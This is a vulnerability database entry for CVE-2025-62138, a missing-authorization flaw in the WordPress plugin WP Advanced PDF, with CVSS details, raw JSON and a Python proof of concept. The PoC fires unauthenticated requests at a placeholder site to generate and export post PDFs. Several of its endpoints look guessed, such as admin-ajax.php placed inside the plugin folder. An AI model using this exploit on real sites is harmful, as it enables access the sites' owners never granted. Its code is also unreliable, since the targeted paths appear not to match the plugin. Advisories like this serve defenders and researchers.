Security Vulnerability Report
中文
CVE-2025-62138 CVSS 5.3 MEDIUM

CVE-2025-62138

Published: 2025-12-31 14:15:53
Last Modified: 2026-04-23 15:34:37

Description

Missing Authorization vulnerability in cedcommerce WP Advanced PDF wp-advanced-pdf allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Advanced PDF: from n/a through <= 1.1.7.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Advanced PDF <= 1.1.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62138 PoC - WordPress WP Advanced PDF Authorization Bypass # This PoC demonstrates the missing authorization vulnerability import requests import sys TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-content/plugins/wp-advanced-pdf/" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-62138""" # Vulnerable endpoints that should require authorization endpoints = [ f"{TARGET_URL}{PLUGIN_PATH}admin-ajax.php", f"{TARGET_URL}{PLUGIN_PATH}includes/ajax-handler.php", f"{TARGET_URL}/wp-json/wp-advanced-pdf/v1/generate-pdf" ] print("[*] Testing CVE-2025-62138 - Missing Authorization in WP Advanced PDF") print(f"[*] Target: {TARGET_URL}") print("-" * 60) for endpoint in endpoints: print(f"\n[+] Testing endpoint: {endpoint}") # Test unauthenticated access to PDF generation payload = { 'action': 'wp_advanced_pdf_generate', 'post_id': '1', 'settings': '{"format":"full"}' } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: # Check if response indicates successful unauthenticated access if 'pdf' in response.text.lower() or 'document' in response.text.lower(): print(f"[!] VULNERABLE: Endpoint accessible without authentication") print(f"[+] Response preview: {response.text[:200]}") else: print(f"[*] Endpoint responds but may require further testing") else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Testing complete. If vulnerabilities found, update plugin immediately.") def exploit_pdf_export(): """Attempt to export PDF without authentication""" export_endpoint = f"{TARGET_URL}{PLUGIN_PATH}includes/export-pdf.php" params = { 'post_ids': '1,2,3', 'format': 'pdf', 'template': 'default' } print("\n[*] Attempting unauthorized PDF export...") try: response = requests.get(export_endpoint, params=params, timeout=10) if response.status_code == 200 and 'pdf' in response.headers.get('Content-Type', ''): print("[!] CRITICAL: Successfully exported PDF without authentication!") print(f"[+] PDF size: {len(response.content)} bytes") return True else: print("[-] Export attempt failed or blocked") return False except Exception as e: print(f"[-] Error during export test: {e}") return False if __name__ == "__main__": check_vulnerability() exploit_pdf_export()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62138", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:53.230", "lastModified": "2026-04-23T15:34:36.760", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in cedcommerce WP Advanced PDF wp-advanced-pdf allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Advanced PDF: from n/a through <= 1.1.7."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en CedCommerce WP Advanced PDF permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WP Advanced PDF: desde n/a hasta 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-advanced-pdf/vulnerability/wordpress-wp-advanced-pdf-plugin-1-1-7-other-vulnerability-type-vulnerability?_s_id=cve", "source": "[email protected]"}]}}